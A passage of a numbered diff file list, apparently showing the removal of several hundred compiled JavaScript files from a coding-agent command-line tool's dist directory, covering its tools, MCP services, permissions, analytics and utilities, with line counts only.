  993. package/dist/src/remote/RemoteSessionManager.js +0 -195
  994. package/dist/src/remote/SessionsWebSocket.js +0 -305
  995. package/dist/src/remote/remotePermissionBridge.js +0 -70
  996. package/dist/src/remote/sdkMessageAdapter.js +0 -227
  997. package/dist/src/replLauncher.js +0 -6
  998. package/dist/src/schemas/hooks.js +0 -174
  999. package/dist/src/screens/Doctor.js +0 -580
  1000. package/dist/src/screens/REPL.js +0 -4434
  1001. package/dist/src/screens/ResumeConversation.js +0 -341
  1002. package/dist/src/self-hosted-runner/main.js +0 -16
  1003. package/dist/src/server/backends/dangerousBackend.js +0 -16
  1004. package/dist/src/server/connectHeadless.js +0 -16
  1005. package/dist/src/server/createDirectConnectSession.js +0 -62
  1006. package/dist/src/server/directConnectManager.js +0 -153
  1007. package/dist/src/server/lockfile.js +0 -16
  1008. package/dist/src/server/parseConnectUrl.js +0 -16
  1009. package/dist/src/server/server.js +0 -16
  1010. package/dist/src/server/serverBanner.js +0 -16
  1011. package/dist/src/server/serverLog.js +0 -16
  1012. package/dist/src/server/sessionManager.js +0 -16
  1013. package/dist/src/server/types.js +0 -7
  1014. package/dist/src/services/AgentSummary/agentSummary.js +0 -147
  1015. package/dist/src/services/MagicDocs/magicDocs.js +0 -193
  1016. package/dist/src/services/MagicDocs/prompts.js +0 -110
  1017. package/dist/src/services/PromptSuggestion/promptSuggestion.js +0 -402
  1018. package/dist/src/services/PromptSuggestion/speculation.js +0 -643
  1019. package/dist/src/services/SessionMemory/prompts.js +0 -254
  1020. package/dist/src/services/SessionMemory/sessionMemory.js +0 -358
  1021. package/dist/src/services/SessionMemory/sessionMemoryUtils.js +0 -157
  1022. package/dist/src/services/analytics/config.js +0 -33
  1023. package/dist/src/services/analytics/datadog.js +0 -259
  1024. package/dist/src/services/analytics/firstPartyEventLogger.js +0 -342
  1025. package/dist/src/services/analytics/firstPartyEventLoggingExporter.js +0 -594
  1026. package/dist/src/services/analytics/growthbook.js +0 -952
  1027. package/dist/src/services/analytics/index.js +0 -114
  1028. package/dist/src/services/analytics/metadata.js +0 -698
  1029. package/dist/src/services/analytics/sink.js +0 -95
  1030. package/dist/src/services/analytics/sinkKillswitch.js +0 -19
  1031. package/dist/src/services/api/adminRequests.js +0 -57
  1032. package/dist/src/services/api/bootstrap.js +0 -149
  1033. package/dist/src/services/api/claude.js +0 -2461
  1034. package/dist/src/services/api/client.js +0 -325
  1035. package/dist/src/services/api/dumpPrompts.js +0 -174
  1036. package/dist/src/services/api/emptyUsage.js +0 -20
  1037. package/dist/src/services/api/errorUtils.js +0 -203
  1038. package/dist/src/services/api/errors.js +0 -934
  1039. package/dist/src/services/api/filesApi.js +0 -523
  1040. package/dist/src/services/api/firstTokenDate.js +0 -49
  1041. package/dist/src/services/api/grove.js +0 -272
  1042. package/dist/src/services/api/index.js +0 -23
  1043. package/dist/src/services/api/logging.js +0 -484
  1044. package/dist/src/services/api/metricsOptOut.js +0 -127
  1045. package/dist/src/services/api/openai.js +0 -1187
  1046. package/dist/src/services/api/openrouter.js +0 -30
  1047. package/dist/src/services/api/overageCreditGrant.js +0 -123
  1048. package/dist/src/services/api/promptCacheBreakDetection.js +0 -510
  1049. package/dist/src/services/api/referral.js +0 -219
  1050. package/dist/src/services/api/sessionIngress.js +0 -358
  1051. package/dist/src/services/api/ultrareviewQuota.js +0 -29
  1052. package/dist/src/services/api/usage.js +0 -31
  1053. package/dist/src/services/api/withRetry.js +0 -599
  1054. package/dist/src/services/autoDream/autoDream.js +0 -244
  1055. package/dist/src/services/autoDream/config.js +0 -17
  1056. package/dist/src/services/autoDream/consolidationLock.js +0 -122
  1057. package/dist/src/services/autoDream/consolidationPrompt.js +0 -56
  1058. package/dist/src/services/awaySummary.js +0 -61
  1059. package/dist/src/services/claudeAiLimits.js +0 -331
  1060. package/dist/src/services/claudeAiLimitsHook.js +0 -15
  1061. package/dist/src/services/compact/apiMicrocompact.js +0 -97
  1062. package/dist/src/services/compact/autoCompact.js +0 -236
  1063. package/dist/src/services/compact/cachedMicrocompact.js +0 -16
  1064. package/dist/src/services/compact/compact.js +0 -1258
  1065. package/dist/src/services/compact/compactWarningHook.js +0 -12
  1066. package/dist/src/services/compact/compactWarningState.js +0 -15
  1067. package/dist/src/services/compact/grouping.js +0 -58
  1068. package/dist/src/services/compact/microCompact.js +0 -414
  1069. package/dist/src/services/compact/postCompactCleanup.js +0 -72
  1070. package/dist/src/services/compact/prompt.js +0 -327
  1071. package/dist/src/services/compact/sessionMemoryCompact.js +0 -467
  1072. package/dist/src/services/compact/timeBasedMCConfig.js +0 -11
  1073. package/dist/src/services/diagnosticTracking.js +0 -282
  1074. package/dist/src/services/extractMemories/extractMemories.js +0 -444
  1075. package/dist/src/services/extractMemories/prompts.js +0 -129
  1076. package/dist/src/services/internalLogging.js +0 -68
  1077. package/dist/src/services/lsp/LSPClient.js +0 -306
  1078. package/dist/src/services/lsp/LSPDiagnosticRegistry.js +0 -277
  1079. package/dist/src/services/lsp/LSPServerInstance.js +0 -390
  1080. package/dist/src/services/lsp/LSPServerManager.js +0 -305
  1081. package/dist/src/services/lsp/config.js +0 -57
  1082. package/dist/src/services/lsp/manager.js +0 -246
  1083. package/dist/src/services/lsp/passiveFeedback.js +0 -226
  1084. package/dist/src/services/mcp/InProcessTransport.js +0 -54
  1085. package/dist/src/services/mcp/MCPConnectionManager.js +0 -50
  1086. package/dist/src/services/mcp/SdkControlTransport.js +0 -115
  1087. package/dist/src/services/mcp/auth.js +0 -1882
  1088. package/dist/src/services/mcp/channelAllowlist.js +0 -57
  1089. package/dist/src/services/mcp/channelNotification.js +0 -236
  1090. package/dist/src/services/mcp/channelPermissions.js +0 -192
  1091. package/dist/src/services/mcp/claudeai.js +0 -123
  1092. package/dist/src/services/mcp/client.js +0 -2480
  1093. package/dist/src/services/mcp/config.js +0 -1277
  1094. package/dist/src/services/mcp/elicitationHandler.js +0 -192
  1095. package/dist/src/services/mcp/envExpansion.js +0 -30
  1096. package/dist/src/services/mcp/headersHelper.js +0 -94
  1097. package/dist/src/services/mcp/mcpStringUtils.js +0 -85
  1098. package/dist/src/services/mcp/normalization.js +0 -21
  1099. package/dist/src/services/mcp/oauthPort.js +0 -69
  1100. package/dist/src/services/mcp/officialRegistry.js +0 -54
  1101. package/dist/src/services/mcp/types.js +0 -94
  1102. package/dist/src/services/mcp/useManageMCPConnections.js +0 -820
  1103. package/dist/src/services/mcp/utils.js +0 -433
  1104. package/dist/src/services/mcp/vscodeSdkMcp.js +0 -69
  1105. package/dist/src/services/mcp/xaa.js +0 -342
  1106. package/dist/src/services/mcp/xaaIdpLogin.js +0 -377
  1107. package/dist/src/services/mcpServerApproval.js +0 -29
  1108. package/dist/src/services/mockRateLimits.js +0 -666
  1109. package/dist/src/services/notifier.js +0 -114
  1110. package/dist/src/services/oauth/auth-code-listener.js +0 -236
  1111. package/dist/src/services/oauth/client.js +0 -545
  1112. package/dist/src/services/oauth/crypto.js +0 -19
  1113. package/dist/src/services/oauth/getOauthProfile.js +0 -48
  1114. package/dist/src/services/oauth/index.js +0 -152
  1115. package/dist/src/services/oauth/types.js +0 -1
  1116. package/dist/src/services/plugins/PluginInstallationManager.js +0 -139
  1117. package/dist/src/services/plugins/pluginCliCommands.js +0 -230
  1118. package/dist/src/services/plugins/pluginOperations.js +0 -826
  1119. package/dist/src/services/policyLimits/index.js +0 -547
  1120. package/dist/src/services/policyLimits/types.js +0 -9
  1121. package/dist/src/services/preventSleep.js +0 -143
  1122. package/dist/src/services/rateLimitMessages.js +0 -271
  1123. package/dist/src/services/rateLimitMocking.js +0 -91
  1124. package/dist/src/services/remoteManagedSettings/index.js +0 -534
  1125. package/dist/src/services/remoteManagedSettings/securityCheck.js +0 -59
  1126. package/dist/src/services/remoteManagedSettings/syncCache.js +0 -90
  1127. package/dist/src/services/remoteManagedSettings/syncCacheState.js +0 -89
  1128. package/dist/src/services/remoteManagedSettings/types.js +0 -12
  1129. package/dist/src/services/settingsSync/index.js +0 -478
  1130. package/dist/src/services/settingsSync/types.js +0 -35
  1131. package/dist/src/services/teamMemorySync/index.js +0 -976
  1132. package/dist/src/services/teamMemorySync/secretScanner.js +0 -275
  1133. package/dist/src/services/teamMemorySync/teamMemSecretGuard.js +0 -35
  1134. package/dist/src/services/teamMemorySync/types.js +0 -47
  1135. package/dist/src/services/teamMemorySync/watcher.js +0 -326
  1136. package/dist/src/services/tips/tipHistory.js +0 -17
  1137. package/dist/src/services/tips/tipRegistry.js +0 -589
  1138. package/dist/src/services/tips/tipScheduler.js +0 -40
  1139. package/dist/src/services/tokenEstimation.js +0 -365
  1140. package/dist/src/services/toolUseSummary/toolUseSummaryGenerator.js +0 -87
  1141. package/dist/src/services/tools/StreamingToolExecutor.js +0 -413
  1142. package/dist/src/services/tools/toolExecution.js +0 -1218
  1143. package/dist/src/services/tools/toolHooks.js +0 -454
  1144. package/dist/src/services/tools/toolOrchestration.js +0 -110
  1145. package/dist/src/services/vcr.js +0 -291
  1146. package/dist/src/services/voice.js +0 -394
  1147. package/dist/src/services/voiceKeyterms.js +0 -94
  1148. package/dist/src/services/voiceStreamSTT.js +0 -406
  1149. package/dist/src/setup.js +0 -349
  1150. package/dist/src/skills/bundled/batch.js +0 -114
  1151. package/dist/src/skills/bundled/claudeApi.js +0 -145
  1152. package/dist/src/skills/bundled/claudeApiContent.js +0 -14
  1153. package/dist/src/skills/bundled/claudeInChrome.js +0 -27
  1154. package/dist/src/skills/bundled/debug.js +0 -99
  1155. package/dist/src/skills/bundled/index.js +0 -5
  1156. package/dist/src/skills/bundled/keybindings.js +0 -292
  1157. package/dist/src/skills/bundled/loop.js +0 -81
  1158. package/dist/src/skills/bundled/loremIpsum.js +0 -266
  1159. package/dist/src/skills/bundled/remember.js +0 -75
  1160. package/dist/src/skills/bundled/scheduleRemoteAgents.js +0 -373
  1161. package/dist/src/skills/bundled/simplify.js +0 -66
  1162. package/dist/src/skills/bundled/skillify.js +0 -184
  1163. package/dist/src/skills/bundled/stuck.js +0 -75
  1164. package/dist/src/skills/bundled/updateConfig.js +0 -463
  1165. package/dist/src/skills/bundled/verify.js +0 -25
  1166. package/dist/src/skills/bundled/verifyContent.js +0 -7
  1167. package/dist/src/skills/bundledSkills.js +0 -159
  1168. package/dist/src/skills/loadSkillsDir.js +0 -736
  1169. package/dist/src/skills/mcpSkillBuilders.js +0 -10
  1170. package/dist/src/ssh/createSSHSession.js +0 -16
  1171. package/dist/src/state/AppState.js +0 -184
  1172. package/dist/src/state/AppStateStore.js +0 -119
  1173. package/dist/src/state/onChangeAppState.js +0 -132
  1174. package/dist/src/state/selectors.js +0 -51
  1175. package/dist/src/state/store.js +0 -21
  1176. package/dist/src/state/teammateViewHelpers.js +0 -124
  1177. package/dist/src/tasks/DreamTask/DreamTask.js +0 -99
  1178. package/dist/src/tasks/InProcessTeammateTask/InProcessTeammateTask.js +0 -116
  1179. package/dist/src/tasks/InProcessTeammateTask/types.js +0 -35
  1180. package/dist/src/tasks/LocalAgentTask/LocalAgentTask.js +0 -507
  1181. package/dist/src/tasks/LocalMainSessionTask.js +0 -338
  1182. package/dist/src/tasks/LocalShellTask/LocalShellTask.js +0 -475
  1183. package/dist/src/tasks/LocalShellTask/guards.js +0 -9
  1184. package/dist/src/tasks/LocalShellTask/killShellTasks.js +0 -59
  1185. package/dist/src/tasks/RemoteAgentTask/RemoteAgentTask.js +0 -742
  1186. package/dist/src/tasks/pillLabel.js +0 -69
  1187. package/dist/src/tasks/stopTask.js +0 -67
  1188. package/dist/src/tasks/types.js +0 -18
  1189. package/dist/src/tasks.js +0 -39
  1190. package/dist/src/telegram/bridge.js +0 -334
  1191. package/dist/src/telegram/config.js +0 -57
  1192. package/dist/src/telegram/mirror.js +0 -91
  1193. package/dist/src/tools/AgentTool/AgentTool.js +0 -1222
  1194. package/dist/src/tools/AgentTool/UI.js +0 -592
  1195. package/dist/src/tools/AgentTool/agentColorManager.js +0 -43
  1196. package/dist/src/tools/AgentTool/agentDisplay.js +0 -72
  1197. package/dist/src/tools/AgentTool/agentMemory.js +0 -125
  1198. package/dist/src/tools/AgentTool/agentMemorySnapshot.js +0 -136
  1199. package/dist/src/tools/AgentTool/agentToolUtils.js +0 -456
  1200. package/dist/src/tools/AgentTool/built-in/claudeCodeGuideAgent.js +0 -175
  1201. package/dist/src/tools/AgentTool/built-in/exploreAgent.js +0 -76
  1202. package/dist/src/tools/AgentTool/built-in/generalPurposeAgent.js +0 -28
  1203. package/dist/src/tools/AgentTool/built-in/planAgent.js +0 -87
  1204. package/dist/src/tools/AgentTool/built-in/statuslineSetup.js +0 -140
  1205. package/dist/src/tools/AgentTool/built-in/verificationAgent.js +0 -146
  1206. package/dist/src/tools/AgentTool/builtInAgents.js +0 -58
  1207. package/dist/src/tools/AgentTool/constants.js +0 -11
  1208. package/dist/src/tools/AgentTool/forkSubagent.js +0 -177
  1209. package/dist/src/tools/AgentTool/loadAgentsDir.js +0 -497
  1210. package/dist/src/tools/AgentTool/prompt.js +0 -260
  1211. package/dist/src/tools/AgentTool/resumeAgent.js +0 -182
  1212. package/dist/src/tools/AgentTool/runAgent.js +0 -629
  1213. package/dist/src/tools/AskUserQuestionTool/AskUserQuestionTool.js +0 -237
  1214. package/dist/src/tools/AskUserQuestionTool/prompt.js +0 -38
  1215. package/dist/src/tools/BashTool/BashTool.js +0 -1008
  1216. package/dist/src/tools/BashTool/BashToolResultMessage.js +0 -168
  1217. package/dist/src/tools/BashTool/UI.js +0 -133
  1218. package/dist/src/tools/BashTool/bashCommandHelpers.js +0 -184
  1219. package/dist/src/tools/BashTool/bashPermissions.js +0 -2023
  1220. package/dist/src/tools/BashTool/bashSecurity.js +0 -2267
  1221. package/dist/src/tools/BashTool/commandSemantics.js +0 -105
  1222. package/dist/src/tools/BashTool/commentLabel.js +0 -14
  1223. package/dist/src/tools/BashTool/destructiveCommandWarning.js +0 -88
  1224. package/dist/src/tools/BashTool/modeValidation.js +0 -86
  1225. package/dist/src/tools/BashTool/pathValidation.js +0 -1080
  1226. package/dist/src/tools/BashTool/prompt.js +0 -333
  1227. package/dist/src/tools/BashTool/readOnlyValidation.js +0 -1794
  1228. package/dist/src/tools/BashTool/sedEditParser.js +0 -282
  1229. package/dist/src/tools/BashTool/sedValidation.js +0 -580
  1230. package/dist/src/tools/BashTool/shouldUseSandbox.js +0 -125
  1231. package/dist/src/tools/BashTool/toolName.js +0 -2
  1232. package/dist/src/tools/BashTool/utils.js +0 -180
  1233. package/dist/src/tools/BriefTool/BriefTool.js +0 -172
  1234. package/dist/src/tools/BriefTool/UI.js +0 -66
  1235. package/dist/src/tools/BriefTool/attachments.js +0 -86
  1236. package/dist/src/tools/BriefTool/prompt.js +0 -19
  1237. package/dist/src/tools/BriefTool/upload.js +0 -136
  1238. package/dist/src/tools/ConfigTool/ConfigTool.js +0 -398
  1239. package/dist/src/tools/ConfigTool/UI.js +0 -24
  1240. package/dist/src/tools/ConfigTool/constants.js +0 -1
  1241. package/dist/src/tools/ConfigTool/prompt.js +0 -82
  1242. package/dist/src/tools/ConfigTool/supportedSettings.js +0 -180
  1243. package/dist/src/tools/EnterPlanModeTool/EnterPlanModeTool.js +0 -98
  1244. package/dist/src/tools/EnterPlanModeTool/UI.js +0 -13
  1245. package/dist/src/tools/EnterPlanModeTool/constants.js +0 -1
  1246. package/dist/src/tools/EnterPlanModeTool/prompt.js +0 -164
  1247. package/dist/src/tools/EnterWorktreeTool/EnterWorktreeTool.js +0 -104
  1248. package/dist/src/tools/EnterWorktreeTool/UI.js +0 -8
  1249. package/dist/src/tools/EnterWorktreeTool/constants.js +0 -1
  1250. package/dist/src/tools/EnterWorktreeTool/prompt.js +0 -30
  1251. package/dist/src/tools/ExitPlanModeTool/ExitPlanModeV2Tool.js +0 -385
  1252. package/dist/src/tools/ExitPlanModeTool/UI.js +0 -31
  1253. package/dist/src/tools/ExitPlanModeTool/constants.js +0 -2
  1254. package/dist/src/tools/ExitPlanModeTool/prompt.js +0 -27
  1255. package/dist/src/tools/ExitWorktreeTool/ExitWorktreeTool.js +0 -257
  1256. package/dist/src/tools/ExitWorktreeTool/UI.js +0 -9
  1257. package/dist/src/tools/ExitWorktreeTool/constants.js +0 -1
  1258. package/dist/src/tools/ExitWorktreeTool/prompt.js +0 -32
  1259. package/dist/src/tools/FileEditTool/FileEditTool.js +0 -480
  1260. package/dist/src/tools/FileEditTool/UI.js +0 -201
  1261. package/dist/src/tools/FileEditTool/constants.js +0 -7
  1262. package/dist/src/tools/FileEditTool/prompt.js +0 -24
  1263. package/dist/src/tools/FileEditTool/types.js +0 -50
  1264. package/dist/src/tools/FileEditTool/utils.js +0 -579
  1265. package/dist/src/tools/FileReadTool/FileReadTool.js +0 -889
  1266. package/dist/src/tools/FileReadTool/UI.js +0 -125
  1267. package/dist/src/tools/FileReadTool/imageProcessor.js +0 -46
  1268. package/dist/src/tools/FileReadTool/limits.js +0 -70
  1269. package/dist/src/tools/FileReadTool/prompt.js +0 -31
  1270. package/dist/src/tools/FileWriteTool/FileWriteTool.js +0 -341
  1271. package/dist/src/tools/FileWriteTool/UI.js +0 -338
  1272. package/dist/src/tools/FileWriteTool/prompt.js +0 -15
  1273. package/dist/src/tools/GlobTool/GlobTool.js +0 -161
  1274. package/dist/src/tools/GlobTool/UI.js +0 -39
  1275. package/dist/src/tools/GlobTool/prompt.js +0 -6
  1276. package/dist/src/tools/GrepTool/GrepTool.js +0 -439
  1277. package/dist/src/tools/GrepTool/UI.js +0 -154
  1278. package/dist/src/tools/GrepTool/prompt.js +0 -16
  1279. package/dist/src/tools/LSPTool/LSPTool.js +0 -660
  1280. package/dist/src/tools/LSPTool/UI.js +0 -204
  1281. package/dist/src/tools/LSPTool/formatters.js +0 -445
  1282. package/dist/src/tools/LSPTool/prompt.js +0 -20
  1283. package/dist/src/tools/LSPTool/schemas.js +0 -197
  1284. package/dist/src/tools/LSPTool/symbolContext.js +0 -75
  1285. package/dist/src/tools/ListMcpResourcesTool/ListMcpResourcesTool.js +0 -100
  1286. package/dist/src/tools/ListMcpResourcesTool/UI.js +0 -16
  1287. package/dist/src/tools/ListMcpResourcesTool/prompt.js +0 -18
  1288. package/dist/src/tools/MCPTool/MCPTool.js +0 -60
  1289. package/dist/src/tools/MCPTool/UI.js +0 -342
  1290. package/dist/src/tools/MCPTool/classifyForCollapse.js +0 -597
  1291. package/dist/src/tools/MCPTool/prompt.js +0 -3
  1292. package/dist/src/tools/McpAuthTool/McpAuthTool.js +0 -162
  1293. package/dist/src/tools/NotebookEditTool/NotebookEditTool.js +0 -421
  1294. package/dist/src/tools/NotebookEditTool/UI.js +0 -40
  1295. package/dist/src/tools/NotebookEditTool/constants.js +0 -2
  1296. package/dist/src/tools/NotebookEditTool/prompt.js +0 -2
  1297. package/dist/src/tools/PowerShellTool/PowerShellTool.js +0 -899
  1298. package/dist/src/tools/PowerShellTool/UI.js +0 -57
  1299. package/dist/src/tools/PowerShellTool/clmTypes.js +0 -207
  1300. package/dist/src/tools/PowerShellTool/commandSemantics.js +0 -115
  1301. package/dist/src/tools/PowerShellTool/commonParameters.js +0 -27
  1302. package/dist/src/tools/PowerShellTool/destructiveCommandWarning.js +0 -92
  1303. package/dist/src/tools/PowerShellTool/gitSafety.js +0 -185
  1304. package/dist/src/tools/PowerShellTool/modeValidation.js +0 -357
  1305. package/dist/src/tools/PowerShellTool/pathValidation.js +0 -1712
  1306. package/dist/src/tools/PowerShellTool/powershellPermissions.js +0 -1351
  1307. package/dist/src/tools/PowerShellTool/powershellSecurity.js +0 -942
  1308. package/dist/src/tools/PowerShellTool/prompt.js +0 -132
  1309. package/dist/src/tools/PowerShellTool/readOnlyValidation.js +0 -1633
  1310. package/dist/src/tools/PowerShellTool/toolName.js +0 -2
  1311. package/dist/src/tools/REPLTool/constants.js +0 -43
  1312. package/dist/src/tools/REPLTool/primitiveTools.js +0 -36
  1313. package/dist/src/tools/ReadMcpResourceTool/ReadMcpResourceTool.js +0 -112
  1314. package/dist/src/tools/ReadMcpResourceTool/UI.js +0 -23
  1315. package/dist/src/tools/ReadMcpResourceTool/prompt.js +0 -15
  1316. package/dist/src/tools/RemoteTriggerTool/RemoteTriggerTool.js +0 -142
  1317. package/dist/src/tools/RemoteTriggerTool/UI.js +0 -11
  1318. package/dist/src/tools/RemoteTriggerTool/prompt.js +0 -12
  1319. package/dist/src/tools/ScheduleCronTool/CronCreateTool.js +0 -120
  1320. package/dist/src/tools/ScheduleCronTool/CronDeleteTool.js +0 -74
  1321. package/dist/src/tools/ScheduleCronTool/CronListTool.js +0 -77
  1322. package/dist/src/tools/ScheduleCronTool/UI.js +0 -28
  1323. package/dist/src/tools/ScheduleCronTool/prompt.js +0 -115
  1324. package/dist/src/tools/SendMessageTool/SendMessageTool.js +0 -675
  1325. package/dist/src/tools/SendMessageTool/UI.js +0 -23
  1326. package/dist/src/tools/SendMessageTool/constants.js +0 -1
  1327. package/dist/src/tools/SendMessageTool/prompt.js +0 -47
  1328. package/dist/src/tools/SkillTool/SkillTool.js +0 -827
  1329. package/dist/src/tools/SkillTool/UI.js +0 -60
  1330. package/dist/src/tools/SkillTool/constants.js +0 -1
  1331. package/dist/src/tools/SkillTool/prompt.js +0 -184
  1332. package/dist/src/tools/SleepTool/prompt.js +0 -14
  1333. package/dist/src/tools/SyntheticOutputTool/SyntheticOutputTool.js +0 -138
  1334. package/dist/src/tools/TaskCreateTool/TaskCreateTool.js +0 -104
  1335. package/dist/src/tools/TaskCreateTool/constants.js +0 -1
  1336. package/dist/src/tools/TaskCreateTool/prompt.js +0 -52
  1337. package/dist/src/tools/TaskGetTool/TaskGetTool.js +0 -106
  1338. package/dist/src/tools/TaskGetTool/constants.js +0 -1
  1339. package/dist/src/tools/TaskGetTool/prompt.js +0 -23
  1340. package/dist/src/tools/TaskListTool/TaskListTool.js +0 -89
  1341. package/dist/src/tools/TaskListTool/constants.js +0 -1
  1342. package/dist/src/tools/TaskListTool/prompt.js +0 -44
  1343. package/dist/src/tools/TaskOutputTool/TaskOutputTool.js +0 -535
  1344. package/dist/src/tools/TaskOutputTool/constants.js +0 -1
  1345. package/dist/src/tools/TaskStopTool/TaskStopTool.js +0 -110
  1346. package/dist/src/tools/TaskStopTool/UI.js +0 -30
  1347. package/dist/src/tools/TaskStopTool/prompt.js +0 -7
  1348. package/dist/src/tools/TaskUpdateTool/TaskUpdateTool.js +0 -301
  1349. package/dist/src/tools/TaskUpdateTool/constants.js +0 -1
  1350. package/dist/src/tools/TaskUpdateTool/prompt.js +0 -76
  1351. package/dist/src/tools/TeamCreateTool/TeamCreateTool.js +0 -177
  1352. package/dist/src/tools/TeamCreateTool/UI.js +0 -4
  1353. package/dist/src/tools/TeamCreateTool/constants.js +0 -1
  1354. package/dist/src/tools/TeamCreateTool/prompt.js +0 -113
  1355. package/dist/src/tools/TeamDeleteTool/TeamDeleteTool.js +0 -102
  1356. package/dist/src/tools/TeamDeleteTool/UI.js +0 -13
  1357. package/dist/src/tools/TeamDeleteTool/constants.js +0 -1
  1358. package/dist/src/tools/TeamDeleteTool/prompt.js +0 -16
  1359. package/dist/src/tools/TodoWriteTool/TodoWriteTool.js +0 -99
  1360. package/dist/src/tools/TodoWriteTool/constants.js +0 -1
  1361. package/dist/src/tools/TodoWriteTool/prompt.js +0 -181
  1362. package/dist/src/tools/ToolSearchTool/ToolSearchTool.js +0 -357
  1363. package/dist/src/tools/ToolSearchTool/constants.js +0 -1
  1364. package/dist/src/tools/ToolSearchTool/prompt.js +0 -99
  1365. package/dist/src/tools/TungstenTool/TungstenLiveMonitor.js +0 -7
  1366. package/dist/src/tools/TungstenTool/TungstenTool.js +0 -3
  1367. package/dist/src/tools/WebFetchTool/UI.js +0 -30
  1368. package/dist/src/tools/WebFetchTool/WebFetchTool.js +0 -246
  1369. package/dist/src/tools/WebFetchTool/preapproved.js +0 -155
  1370. package/dist/src/tools/WebFetchTool/prompt.js +0 -39
  1371. package/dist/src/tools/WebFetchTool/utils.js +0 -381
  1372. package/dist/src/tools/WebSearchTool/UI.js +0 -66
  1373. package/dist/src/tools/WebSearchTool/WebSearchTool.js +0 -352
  1374. package/dist/src/tools/WebSearchTool/prompt.js +0 -32
  1375. package/dist/src/tools/WorkflowTool/constants.js +0 -2
  1376. package/dist/src/tools/shared/gitOperationTracking.js +0 -220
  1377. package/dist/src/tools/shared/spawnMultiAgent.js +0 -805
  1378. package/dist/src/tools/testing/TestingPermissionTool.js +0 -72
  1379. package/dist/src/tools/utils.js +0 -24
  1380. package/dist/src/tools.js +0 -332
  1381. package/dist/src/types/command.js +0 -10
  1382. package/dist/src/types/connectorText.js +0 -2
  1383. package/dist/src/types/generated/events_mono/claude_code/v1/claude_code_internal_event.js +0 -673
  1384. package/dist/src/types/generated/events_mono/common/v1/auth.js +0 -49
  1385. package/dist/src/types/generated/events_mono/growthbook/v1/growthbook_experiment_event.js +0 -147
  1386. package/dist/src/types/generated/google/protobuf/timestamp.js +0 -38
  1387. package/dist/src/types/hooks.js +0 -153
  1388. package/dist/src/types/ids.js +0 -27
  1389. package/dist/src/types/logs.js +0 -11
  1390. package/dist/src/types/message.js +0 -1
  1391. package/dist/src/types/permissions.js +0 -25
  1392. package/dist/src/types/plugin.js +0 -72
  1393. package/dist/src/types/textInputTypes.js +0 -20
  1394. package/dist/src/types/utils.js +0 -5
  1395. package/dist/src/upstreamproxy/relay.js +0 -346
  1396. package/dist/src/upstreamproxy/upstreamproxy.js +0 -236
  1397. package/dist/src/utils/CircularBuffer.js +0 -75
  1398. package/dist/src/utils/Cursor.js +0 -1229
  1399. package/dist/src/utils/QueryGuard.js +0 -115
  1400. package/dist/src/utils/Shell.js +0 -374
  1401. package/dist/src/utils/ShellCommand.js +0 -338
  1402. package/dist/src/utils/abortController.js +0 -74
  1403. package/dist/src/utils/activityManager.js +0 -127
  1404. package/dist/src/utils/advisor.js +0 -77
  1405. package/dist/src/utils/agentContext.js +0 -91
  1406. package/dist/src/utils/agentId.js +0 -83
  1407. package/dist/src/utils/agentSwarmsEnabled.js +0 -37
  1408. package/dist/src/utils/agenticSessionSearch.js +0 -255
  1409. package/dist/src/utils/analyzeContext.js +0 -848
  1410. package/dist/src/utils/ansiToPng.js +0 -259
  1411. package/dist/src/utils/ansiToSvg.js +0 -207
  1412. package/dist/src/utils/api.js +0 -555
  1413. package/dist/src/utils/apiPreconnect.js +0 -62
  1414. package/dist/src/utils/appleTerminalBackup.js +0 -95
  1415. package/dist/src/utils/argumentSubstitution.js +0 -114
  1416. package/dist/src/utils/array.js +0 -12
  1417. package/dist/src/utils/asciicast.js +0 -200
  1418. package/dist/src/utils/attachments.js +0 -2514
  1419. package/dist/src/utils/attribution.js +0 -308
  1420. package/dist/src/utils/attributionHooks.js +0 -16
  1421. package/dist/src/utils/attributionTrailer.js +0 -16
  1422. package/dist/src/utils/auth.js +0 -2020
  1423. package/dist/src/utils/authFileDescriptor.js +0 -152
  1424. package/dist/src/utils/authPortable.js +0 -14
  1425. package/dist/src/utils/autoModeDenials.js +0 -15
  1426. package/dist/src/utils/autoRunIssue.js +0 -112
  1427. package/dist/src/utils/autoUpdater.js +0 -461
  1428. package/dist/src/utils/aws.js +0 -44
  1429. package/dist/src/utils/awsAuthStatusManager.js +0 -66
  1430. package/dist/src/utils/background/remote/preconditions.js +0 -175
  1431. package/dist/src/utils/background/remote/remoteSession.js +0 -53
  1432. package/dist/src/utils/backgroundHousekeeping.js +0 -66
  1433. package/dist/src/utils/bash/ParsedCommand.js +0 -241
  1434. package/dist/src/utils/bash/ShellSnapshot.js +0 -489
  1435. package/dist/src/utils/bash/ast.js +0 -2590
  1436. package/dist/src/utils/bash/bashParser.js +0 -4355
  1437. package/dist/src/utils/bash/bashPipeCommand.js +0 -249
  1438. package/dist/src/utils/bash/commands.js +0 -1131
  1439. package/dist/src/utils/bash/heredoc.js +0 -647
  1440. package/dist/src/utils/bash/parser.js +0 -195
  1441. package/dist/src/utils/bash/prefix.js +0 -154
  1442. package/dist/src/utils/bash/registry.js +0 -23
  1443. package/dist/src/utils/bash/shellCompletion.js +0 -196
  1444. package/dist/src/utils/bash/shellPrefix.js +0 -25
  1445. package/dist/src/utils/bash/shellQuote.js +0 -253
  1446. package/dist/src/utils/bash/shellQuoting.js +0 -106
  1447. package/dist/src/utils/bash/specs/alias.js +0 -11
  1448. package/dist/src/utils/bash/specs/index.js +0 -16
  1449. package/dist/src/utils/bash/specs/nohup.js +0 -10
  1450. package/dist/src/utils/bash/specs/pyright.js +0 -88
  1451. package/dist/src/utils/bash/specs/sleep.js +0 -10
  1452. package/dist/src/utils/bash/specs/srun.js +0 -28
  1453. package/dist/src/utils/bash/specs/time.js +0 -10
  1454. package/dist/src/utils/bash/specs/timeout.js +0 -17
  1455. package/dist/src/utils/bash/treeSitterAnalysis.js +0 -407
  1456. package/dist/src/utils/betas.js +0 -332
  1457. package/dist/src/utils/billing.js +0 -54
  1458. package/dist/src/utils/binaryCheck.js +0 -40
  1459. package/dist/src/utils/browser.js +0 -58
  1460. package/dist/src/utils/bufferedWriter.js +0 -77
  1461. package/dist/src/utils/bundledMode.js +0 -19
  1462. package/dist/src/utils/caCerts.js +0 -93
  1463. package/dist/src/utils/caCertsConfig.js +0 -77
  1464. package/dist/src/utils/cachePaths.js +0 -28
  1465. package/dist/src/utils/ccshareResume.js +0 -16
  1466. package/dist/src/utils/classifierApprovals.js +0 -66
  1467. package/dist/src/utils/classifierApprovalsHook.js +0 -10
  1468. package/dist/src/utils/claudeCodeHints.js +0 -142
  1469. package/dist/src/utils/claudeDesktop.js +0 -108
